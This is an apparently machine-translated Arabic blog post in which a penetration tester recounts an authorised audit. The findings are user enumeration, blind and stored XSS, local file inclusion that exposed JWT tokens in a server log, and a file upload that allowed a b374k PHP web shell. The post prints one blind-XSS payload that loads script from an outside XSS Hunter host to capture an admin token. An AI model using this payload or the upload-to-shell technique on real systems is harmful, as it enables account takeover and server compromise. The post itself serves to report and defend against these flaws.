في بداية العام ، كتب إلي أحد موظفي إحدى الشركات. كما أفهمها ، كان هناك صراع صغير في الشركة. بسبب الذي كان هناك خطر من حل وسط من قبل بعض الموظفين. كان قرار تدقيق النظام هو القرار الصحيح بالتأكيد. بعد كل شيء ، فاجأتني نتائج الفحص ، وفاجأت العميل "بشكل غير سارة".
كانت بنية النظام ، من حيث المبدأ ، قياسية. كان يعتمد على خدمة التوثيق. علاوة على ذلك ، ووفقًا للرمز المميز الصادر عن jwt ، يمكن للمستخدم استخدام وظائف النظام في نطاقات فرعية مختلفة.
اقتصر الاختبار على مجال فرعي واحد. لكن أبسط وفقا للعملاء. لن أقول بالتفصيل كل الأخطاء والمشاكل. تم اكتشافهم كثيرا. سوف أصف فقط تلك التي بدت لي أكثر فضولاً.
التكرار المعلومات عند البحث عن المستخدمين
استعلام البحث عن المستخدمين المسموح لهم بتلقي مجموعة من المعلومات ذات الطبيعة التالية - معرف المستخدم والاسم وتسجيل الدخول ، الصورة الرمزية ...
دون أي مشاكل ، كان من الممكن جمع قاعدة بيانات كاملة لمستخدمي Login_name. لم تكن هناك قيود خاصة في وظيفة تسجيل الدخول سواء. بعد ذلك ، كان من الممكن تحديد كلمة مرور في عدة تدفقات أو إجراء تصيد نقاط على أهم مستخدمي النظام.
أعمى XSS في طلب دعم المستخدم.
لدي انطباع بأن هذه المشكلة موجودة في 90٪ من الأنظمة التي واجهتها. في وقت سابق ، تم نقل "الهزات" من المنصات لتجميع المراجعات لي مرارًا وتكرارًا. الوصول إلى أنظمة مراقبة سلوك المستخدم على شبكة الإنترنت أيضا في. كان هناك الكثير من الأشياء. ومع ذلك ، قليل من الناس يفهمون مدى خطورة ذلك. على وجه التحديد ، تم كتابة هذه الثغرة الأمنية
هنا .
في هذه الحالة ، تأكدت من أن الهجوم كان يعمل عن طريق الصدفة عندما تلقيت إشعارًا من
XSS Hunter . كان متجه الهجوم كما يلي:
"><script src=https://sa.xss.ht></script>
لكن العميل لم يعتقد أنه يمكنني التحكم في لوحة الإدارة من خلال ناقل الهجوم هذا. بعد كل شيء ، يتم تخزين جميع المعلومات القيمة في التخزين المحلي. نظرًا لأن XSS Hunter لا يدعم تلقي معلومات التخزين المحلية ، كان علي نشر مسجل XSS الخاص بي.
المنشور التالي
كان مفيدًا جدًا. نتيجة للهجوم المتكرر ، كان من الممكن التحقق من أنه يمكن الحصول على رمز jwt المشرف بسهولة بواسطة الوسائل الضارة حتى من التخزين المحلي.
حسنًا ، ثم مع حقوق المسؤول في النظام ، يمكنك القيام بأي شيء.
XSS المخزنة في بريد إلكتروني.
تم اكتشاف وظيفة في النظام تسمح لك بإنشاء دعوات بريد إلكتروني مؤطرة لتسجيل مستخدمين جدد. يمكنك إدراج اسم الشخص في نموذج الرسالة. لجعل البريد الإلكتروني أكثر شخصية. نتيجةً لذلك ، لم يتم الإفلات من كل المحتوى وسقط في الرسالة. من أجل تنفيذ هجوم xss ناجح مماثل من خلال خطاب ، تحتاج إلى معرفة عميل البريد الإلكتروني للضحية ، وتحتاج إلى معرفة يوم الصفر xss لهذا العميل. بشكل عام ، كان نجاح هذا الهجوم ، بحكم تعريفه ، لا يكاد يذكر. حتى اللحظة التي وجدت فيها زرًا فضوليًا في الزاوية العليا من الرسالة.
كانت فرصة لفتح نسخة على شبكة الإنترنت من الرسالة. وهنا مفاجأة انتظرني. عملت بلدي XSS. في الوقت نفسه ، تم فتح إصدار الويب الخاص بالرسالة على المسؤول. *. Com نطاق فرعي
مفاجأة مزدوجة إذا جاز التعبير.
الوصول إلى الملفات المتاحة
في عملية التدقيق ، وجدت مكانًا مثيرًا للاهتمام. عندما وصل الطلب إلى شخصيات مختلفة ، وصل 404 استجابة من الخادم ، ولكن بشكل دوري ، كانت استجابة 404 مختلفة قليلاً عن الاستجابة السابقة. في بعض الأحيان كان هناك رأس إضافي. في بعض الأحيان لا. دفعت طفرة معينة في استجابات النظام إلى التحقق من تضمين الملف المحلي (
LFI ) في هذا المكان. قمت بإعداد قاموس lfi وانتظرت النظام لإرجاع الإجابات لجميع طلباتي. كنتيجة لذلك ، عند عرض نتائج الاختبار ، فوجئت للغاية بالإجابة التي حصلت على 200 حالة بحجم كبير جدًا للبيانات المرسلة.
اتضح أنني وجدت الوصول إلى ملف قابل للقراءة. سجل هذا الملف كل النشاط على الخادم. بما في ذلك في هذا الملف ، كان من الممكن اكتشاف رموز مستخدم jwt.
وقت انتهاء صلاحية هذه الرموز كان كبيرًا جدًا. وهذا ، أيضا ، لم يكن جيدا جدا.
وصول كامل لشبكة الويب إلى الخادم
من حيث المبدأ ، كل ما سبق مشاكل مشتركة. لكن أنواع معينة من نقاط الضعف يصعب بالفعل تلبيتها. إنه يتعلق بالوصول إلى الخادم من خلال التعليمات البرمجية المحملة بدقة في ملف shell.php. بعد ذلك يتم اختراق جميع المشاريع الموجودة على هذا الخادم.
كتب Bo0oM حول هذه المشكلة في عام 2016 على مدونته.
لكن العودة إلى المثال الخاص بي. كان النظام لديه القدرة على صنع المنشورات. في الوقت نفسه ، كان من الممكن تحميل صورة للنشر. تم حفظ الصورة في نفس المجال. لكن تم تغيير اسم الملف بالقوة. أي أنت تحميل - mypicture.jpg. ولكن نتيجة لذلك ، تحصل على 12345.jpg. قررت التحقق مما سيحدث إذا قمت بنقل ملف xml (في ذلك الوقت كنت أحلم على ما يبدو بالاجتماع XXE). ولدهشتي حصلت على الجواب 123556.xml. ثم أدركت أن هناك فرصة بنسبة 99٪ للنجاح مع امتداد ملف php لقذيفة الويب. لهذا الهجوم ، استخدمت
قذيفة b374k . مع وصول مباشر إلى الملف - حصلت على ما أردت. الوصول إلى أدلة الخادم.
لكن ذلك لم يكن الشيء الأسوأ. كان الشيء الأكثر حزناً أنه من خلال هذه الثغرة الأمنية ، كان من الممكن تسوية أكثر من 10 مشاريع كانت موجودة في الدليل الجذر لهذا الخادم.
صديقي
cyberpunkyc قال إنه يمكن رؤية ذلك في عام 2007-2010. للأسف ، في ساحة 2019. توجد مشكلة مماثلة حتى يومنا هذا.
كنتيجة للاختبار ، فوجئ العميل بالنتائج. وكنت سعيدًا جدًا لأنني كنت مفيدًا جدًا في الاختبار. إذا كان لديك أي اقتراحات مع مشاريع مثيرة للاهتمام - فلا تتردد في الكتابة لي في
برقية ؛)